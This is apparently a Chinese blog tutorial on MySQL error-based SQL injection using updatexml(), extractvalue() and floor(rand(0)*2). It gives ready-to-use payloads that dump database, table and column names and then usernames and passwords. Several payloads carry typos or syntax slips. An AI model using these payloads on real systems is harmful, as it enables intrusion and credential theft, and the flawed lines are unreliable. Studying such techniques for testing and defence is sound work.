SQL报错注入

Xpath报错注入

1、基础知识

(1)mysql5.1以上添加了对XML文档的查询和修改函数

upsatexml()、extractvalue()

当这两个函数在执行时,若出现xml文档路径会产生报错

(2)updatexml()使用不同的xml标记匹配和替换xml块

改变文档中符合条件节点的值

updatexml(XML_document,XPath_string,new_value)

第一个参数:string格式,xml文档对象

第二个参数:路径

第三个参数:string格式,替换查找到的符合条件的数据

updatexml使用时,当xpath_string格式出现错误mysql则会爆出xpath语法错误

(3)extractvalue()从目标XML中返回包含所查询值的字符串

extractvalue(XML_document,xpath_string)

第一个参数:string格式,为XML文档对象的名称

第二个参数:xpath格式的字符串

(4)0x7e~(波浪线)不属于xpath语法格式

2、updatexml()报错注入

爆出数据库及相关信息
1' and updatexml (1,concat(0x7e,database(),0x7e),1)#

爆出数据库表名
1' and updatexml (1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)#

爆出accounts表的字段
1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database()),0x7e),1)#

查询用户名与密码
1’ and updatexml(1,concat((select group_concat(0x7e,uname,0x7e,pwd) from hackiweb500.accounts)),1)#

extractvalue()同理,只有两个参数
查字段
1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users')))  %23

查账号与密码
1' and extractvalue(1,concat(0x7e,(select group_concat(0x7e,username,0x3a,password) from users))) %23

floor()报错注入

1、原理

利用select count(*),floor(rand(0)*2)x from information_schema.schemata group by x;导致数据库报错,通过concat函数连接注入语句与floor(rand(0)*2)函数,实现将注入结果与报错信息回显的注入方式。

2、基础知识

(1)rand()产生一个在0和1之间的随机数

直接使用rand函数每次产生的数值不一样,但当我们提供了一个固定的随机数的种子0之后,每次产生的值都是相同的,这也可以称之为伪随机。

(2)floor (rand(0)*2)

floor函数的作用:返回小于等于括号内该值的最大整数。

rand(0)*2返回0-2之间的随机数

floor (rand(0)*2)每次产生的随机数都是0或1

(3)group by分类汇总

实例

(4)count()统计结果的记录数

综合使用产生报错
select count(*),floor(rand(0)*2) x from czs group by x;
当count(*)和group by x同时执行时,就会爆出duplicate entry错误。

3、实战

select count(*),concat( payload[],floor(rand(0)*2)) x from information_schema.schemata group by x ;

(1)判断是否存在报错注入

order by 判断列数

id=1' union select count(*),floor(rand(0)*2) x from information_schema.schemata group by x %23 // 注意union前后位数要一致,发现存在报错注入

(2)爆出当前数据库名

id=1' union select 1,count(*),concat(database(),floor(rand(0)*2)) x from information_schema.schemata group by x %23

(3)爆出表

id=1' union select 1,count(*),concat((select table_name from information_schema.tables where table_schema='secutity' limit 3,1),floor(rand(0)*2) x from information_schema.schemata group by x %23 //通过修改limit x,1中x的数字,来查询表

(4)爆出列

id=1' union select 1, count(*),concat((select column_name from information_schema.columns where table_schema='secutity' and where table_name='users' limit 2,1),floor(rand(0)*2) x from information_schema.schemata group by x %23 //通过修改limit x,1中x的数字,来查询字段

(5)爆数据

id=1'union select 1,count(*),concat((select concat(username,0x7e,password) from security.users limit 0,1),floor(rand(0)*2)) x from information_schema.schemata group by x %23 //通过修改limit x,1中x的数字,来查询用户名和密码
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值